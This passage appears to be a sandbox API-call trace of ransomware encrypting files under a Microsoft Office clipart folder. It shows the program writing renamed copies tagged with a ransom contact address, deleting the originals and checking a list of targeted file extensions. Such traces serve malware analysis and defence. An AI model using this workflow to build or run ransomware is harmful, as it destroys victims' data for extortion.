hFile=0x3a0, lpBuffer=0x3c8c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c8c020*, lpNumberOfBytesRead=0x327fecc*=0x0, lpOverlapped=0x0) returned 1 [0279.504] WriteFile (in: hFile=0x418, lpBuffer=0x3c8c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c8c020*, lpNumberOfBytesWritten=0x327fc94*=0xec, lpOverlapped=0x0) returned 1 [0279.504] SetEndOfFile (hFile=0x418) returned 1 [0279.525] CloseHandle (hObject=0x418) returned 1 [0279.537] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0279.537] SetEndOfFile (hFile=0x3a0) returned 1 [0279.544] CloseHandle (hObject=0x3a0) returned 1 [0279.544] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00157_.GIF.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0279.546] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00157_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00157_.gif")) returned 1 [0279.821] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00157_.GIF") returned 68 [0279.821] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00157_.GIF") returned 68 [0279.821] lstrlenW (lpString=".doc") returned 4 [0279.821] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0279.821] lstrlenW (lpString=".docx") returned 5 [0279.821] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0279.821] lstrlenW (lpString=".pdf") returned 4 [0279.821] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0279.821] lstrlenW (lpString=".xls") returned 4 [0279.821] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0279.821] lstrlenW (lpString=".xlsx") returned 5 [0279.821] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0279.821] lstrlenW (lpString=".ppt") returned 4 [0279.821] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0279.821] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00157_.GIF") returned 68 [0279.821] lstrlenW (lpString=".zip") returned 4 [0279.821] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0279.821] lstrlenW (lpString=".rar") returned 4 [0279.821] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0279.821] lstrlenW (lpString=".bz2") returned 4 [0279.821] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0279.821] lstrlenW (lpString=".7z") returned 3 [0279.821] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0279.821] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00157_.GIF") returned 68 [0279.821] lstrlenW (lpString=".dbf") returned 4 [0279.821] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0279.822] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00157_.GIF") returned 68 [0279.822] lstrlenW (lpString=".1cd") returned 4 [0279.822] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0279.822] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00157_.GIF") returned 68 [0279.822] lstrlenW (lpString=".jpg") returned 4 [0279.822] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0279.822] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00157_.GIF") returned 68 [0279.822] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00157_.GIF") returned 68 [0279.822] lstrlenW (lpString=".doc") returned 4 [0279.822] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0279.822] lstrlenW (lpString=".docx") returned 5 [0279.822] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0279.822] lstrlenW (lpString=".pdf") returned 4 [0279.822] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0279.822] lstrlenW (lpString=".xls") returned 4 [0279.822] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0279.822] lstrlenW (lpString=".xlsx") returned 5 [0279.822] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0279.822] lstrlenW (lpString=".ppt") returned 4 [0279.822] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0279.822] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00157_.GIF") returned 68 [0279.822] lstrlenW (lpString=".zip") returned 4 [0279.822] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0279.822] lstrlenW (lpString=".rar") returned 4 [0279.822] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0279.822] lstrlenW (lpString=".bz2") returned 4 [0279.822] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0279.822] lstrlenW (lpString=".7z") returned 3 [0279.822] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0279.822] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00157_.GIF") returned 68 [0279.822] lstrlenW (lpString=".dbf") returned 4 [0279.822] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0279.822] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00157_.GIF") returned 68 [0279.823] lstrlenW (lpString=".1cd") returned 4 [0279.823] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0279.823] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00157_.GIF") returned 68 [0279.823] lstrlenW (lpString=".jpg") returned 4 [0279.823] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0279.823] lstrcmpiW (lpString1=".GIF", lpString2=".gate") returned 1 [0279.823] lstrlenW (lpString="AG00171_.GIF") returned 12 [0279.823] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00171_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00171_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x404 [0279.824] GetFileSizeEx (in: hFile=0x404, lpFileSize=0x327ff14 | out: lpFileSize=0x327ff14*=5016) returned 1 [0279.824] CloseHandle (hObject=0x404) returned 1 [0279.824] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00171_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00171_.gif")) returned 0x220 [0279.824] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00171_.GIF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00171_.gif.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0279.824] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00171_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00171_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x404 [0279.824] SetFilePointerEx (in: hFile=0x404, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0279.825] SetFilePointerEx (in: hFile=0x404, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0279.825] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00171_.GIF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00171_.gif.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0279.825] GetLastError () returned 0x0 [0279.825] ReadFile (in: hFile=0x404, lpBuffer=0x3c8c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c8c020*, lpNumberOfBytesRead=0x327fecc*=0x1398, lpOverlapped=0x0) returned 1 [0279.927] WriteFile (in: hFile=0x394, lpBuffer=0x3c8c020*, nNumberOfBytesToWrite=0x13a0, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c8c020*, lpNumberOfBytesWritten=0x327fc94*=0x13a0, lpOverlapped=0x0) returned 1 [0279.927] ReadFile (in: hFile=0x404, lpBuffer=0x3c8c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c8c020*, lpNumberOfBytesRead=0x327fecc*=0x0, lpOverlapped=0x0) returned 1 [0279.927] WriteFile (in: hFile=0x394, lpBuffer=0x3c8c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c8c020*, lpNumberOfBytesWritten=0x327fc94*=0xec, lpOverlapped=0x0) returned 1 [0279.928] SetEndOfFile (hFile=0x394) returned 1 [0279.928] CloseHandle (hObject=0x394) returned 1 [0279.928] SetFilePointerEx (in: hFile=0x404, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0279.928] SetEndOfFile (hFile=0x404) returned 1 [0279.930] CloseHandle (hObject=0x404) returned 1 [0279.930] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00171_.GIF.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0279.931] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00171_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00171_.gif")) returned 1 [0279.931] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00171_.GIF") returned 68 [0279.931] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00171_.GIF") returned 68 [0279.931] lstrlenW (lpString=".doc") returned 4 [0279.931] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0279.931] lstrlenW (lpString=".docx") returned 5 [0279.931] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0279.931] lstrlenW (lpString=".pdf") returned 4 [0279.931] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0279.931] lstrlenW (lpString=".xls") returned 4 [0279.931] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0279.931] lstrlenW (lpString=".xlsx") returned 5 [0279.931] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0279.931] lstrlenW (lpString=".ppt") returned 4 [0279.931] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0279.932] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00171_.GIF") returned 68 [0279.932] lstrlenW (lpString=".zip") returned 4 [0279.932] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0279.932] lstrlenW (lpString=".rar") returned 4 [0279.932] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0279.932] lstrlenW (lpString=".bz2") returned 4 [0279.932] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0279.932] lstrlenW (lpString=".7z") returned 3 [0279.932] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0279.932] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00171_.GIF") returned 68 [0279.932] lstrlenW (lpString=".dbf") returned 4 [0279.932] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0279.932] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00171_.GIF") returned 68 [0279.932] lstrlenW (lpString=".1cd") returned 4 [0279.932] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0279.932] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00171_.GIF") returned 68 [0279.932] lstrlenW (lpString=".jpg") returned 4 [0279.932] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0279.932] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00171_.GIF") returned 68 [0279.932] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00171_.GIF") returned 68 [0279.932] lstrlenW (lpString=".doc") returned 4 [0279.932] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0279.932] lstrlenW (lpString=".docx") returned 5 [0279.932] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0279.932] lstrlenW (lpString=".pdf") returned 4 [0279.932] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0279.932] lstrlenW (lpString=".xls") returned 4 [0279.932] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0279.932] lstrlenW (lpString=".xlsx") returned 5 [0279.932] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0279.932] lstrlenW (lpString=".ppt") returned 4 [0279.932] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0279.932] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00171_.GIF") returned 68 [0279.932] lstrlenW (lpString=".zip") returned 4 [0279.933] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0279.933] lstrlenW (lpString=".rar") returned 4 [0279.933] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0279.933] lstrlenW (lpString=".bz2") returned 4 [0279.933] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0279.933] lstrlenW (lpString=".7z") returned 3 [0279.933] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0279.933] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00171_.GIF") returned 68 [0279.933] lstrlenW (lpString=".dbf") returned 4 [0279.933] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0279.933] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00171_.GIF") returned 68 [0279.933] lstrlenW (lpString=".1cd") returned 4 [0279.933] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0279.933] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00171_.GIF") returned 68 [0279.933] lstrlenW (lpString=".jpg") returned 4 [0279.933] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0279.933] lstrcmpiW (lpString1=".WMF", lpString2=".gate") returned 1 [0279.933] lstrlenW (lpString="AN00010_.WMF") returned 12 [0279.933] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00010_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00010_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d0 [0279.955] GetFileSizeEx (in: hFile=0x3d0, lpFileSize=0x327ff14 | out: lpFileSize=0x327ff14*=3026) returned 1 [0279.955] CloseHandle (hObject=0x3d0) returned 1 [0279.955] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00010_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00010_.wmf")) returned 0x220 [0279.955] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00010_.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00010_.wmf.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0279.955] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00010_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00010_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d0 [0279.956] SetFilePointerEx (in: hFile=0x3d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0279.956] SetFilePointerEx (in: hFile=0x3d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0279.956] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00010_.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00010_.wmf.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3bc [0280.081] GetLastError () returned 0x0 [0280.081] ReadFile (in: hFile=0x3d0, lpBuffer=0x3c8c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c8c020*, lpNumberOfBytesRead=0x327fecc*=0xbd2, lpOverlapped=0x0) returned 1 [0280.117] WriteFile (in: hFile=0x3bc, lpBuffer=0x3c8c020*, nNumberOfBytesToWrite=0xbe0, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c8c020*, lpNumberOfBytesWritten=0x327fc94*=0xbe0, lpOverlapped=0x0) returned 1 [0280.118] ReadFile (in: hFile=0x3d0, lpBuffer=0x3c8c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c8c020*, lpNumberOfBytesRead=0x327fecc*=0x0, lpOverlapped=0x0) returned 1 [0280.118] WriteFile (in: hFile=0x3bc, lpBuffer=0x3c8c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c8c020*, lpNumberOfBytesWritten=0x327fc94*=0xec, lpOverlapped=0x0) returned 1 [0280.118] SetEndOfFile (hFile=0x3bc) returned 1 [0280.120] CloseHandle (hObject=0x3bc) returned 1 [0280.121] SetFilePointerEx (in: hFile=0x3d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0280.121] SetEndOfFile (hFile=0x3d0) returned 1 [0280.124] CloseHandle (hObject=0x3d0) returned 1 [0280.124] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00010_.WMF.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0280.260] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00010_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00010_.wmf")) returned 1 [0280.291] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00010_.WMF") returned 68 [0280.291] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00010_.WMF") returned 68 [0280.291] lstrlenW (lpString=".doc") returned 4 [0280.291] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0280.291] lstrlenW (lpString=".docx") returned 5 [0280.291] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0280.291] lstrlenW (lpString=".pdf") returned 4 [0280.291] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0280.291] lstrlenW (lpString=".xls") returned 4 [0280.291] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0280.291] lstrlenW (lpString=".xlsx") returned 5 [0280.291] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0280.291] lstrlenW (lpString=".ppt") returned 4 [0280.291] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0280.291] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00010_.WMF") returned 68 [0280.291] lstrlenW (lpString=".zip") returned 4 [0280.291] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0280.291] lstrlenW (lpString=".rar") returned 4 [0280.291] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0280.291] lstrlenW (lpString=".bz2") returned 4 [0280.291] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0280.291] lstrlenW (lpString=".7z") returned 3 [0280.291] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0280.291] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00010_.WMF") returned 68 [0280.291] lstrlenW (lpString=".dbf") returned 4 [0280.292] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0280.292] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00010_.WMF") returned 68 [0280.292] lstrlenW (lpString=".1cd") returned 4 [0280.292] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0280.292] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00010_.WMF") returned 68 [0280.292] lstrlenW (lpString=".jpg") returned 4 [0280.292] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0280.292] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00010_.WMF") returned 68 [0280.292] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00010_.WMF") returned 68 [0280.292] lstrlenW (lpString=".doc") returned 4 [0280.292] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0280.292] lstrlenW (lpString=".docx") returned 5 [0280.292] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0280.292] lstrlenW (lpString=".pdf") returned 4 [0280.292] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0280.292] lstrlenW (lpString=".xls") returned 4 [0280.292] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0280.292] lstrlenW (lpString=".xlsx") returned 5 [0280.292] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0280.292] lstrlenW (lpString=".ppt") returned 4 [0280.292] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0280.292] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00010_.WMF") returned 68 [0280.292] lstrlenW (lpString=".zip") returned 4 [0280.292] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0280.292] lstrlenW (lpString=".rar") returned 4 [0280.292] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0280.292] lstrlenW (lpString=".bz2") returned 4 [0280.292] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0280.292] lstrlenW (lpString=".7z") returned 3 [0280.292] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0280.292] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00010_.WMF") returned 68 [0280.292] lstrlenW (lpString=".dbf") returned 4 [0280.292] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0280.293] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00010_.WMF") returned 68 [0280.293] lstrlenW (lpString=".1cd") returned 4 [0280.293] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0280.293] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00010_.WMF") returned 68 [0280.293] lstrlenW (lpString=".jpg") returned 4 [0280.293] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0280.316] lstrcmpiW (lpString1=".WMF", lpString2=".gate") returned 1 [0280.316] lstrlenW (lpString="AN00914_.WMF") returned 12 [0280.316] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00914_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00914_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a4 [0280.317] GetFileSizeEx (in: hFile=0x4a4, lpFileSize=0x327ff14 | out: lpFileSize=0x327ff14*=10832) returned 1 [0280.317] CloseHandle (hObject=0x4a4) returned 1 [0280.317] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00914_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00914_.wmf")) returned 0x220 [0280.317] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00914_.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00914_.wmf.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0280.317] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00914_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00914_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a4 [0280.317] SetFilePointerEx (in: hFile=0x4a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0280.317] SetFilePointerEx (in: hFile=0x4a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0280.318] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00914_.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00914_.wmf.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a8 [0280.318] GetLastError () returned 0x0 [0280.318] ReadFile (in: hFile=0x4a4, lpBuffer=0x3c8c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c8c020*, lpNumberOfBytesRead=0x327fecc*=0x2a50, lpOverlapped=0x0) returned 1 [0280.414] WriteFile (in: hFile=0x4a8, lpBuffer=0x3c8c020*, nNumberOfBytesToWrite=0x2a60, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c8c020*, lpNumberOfBytesWritten=0x327fc94*=0x2a60, lpOverlapped=0x0) returned 1 [0280.931] ReadFile (in: hFile=0x4a4, lpBuffer=0x3c8c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c8c020*, lpNumberOfBytesRead=0x327fecc*=0x0, lpOverlapped=0x0) returned 1 [0280.931] WriteFile (in: hFile=0x4a8, lpBuffer=0x3c8c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c8c020*, 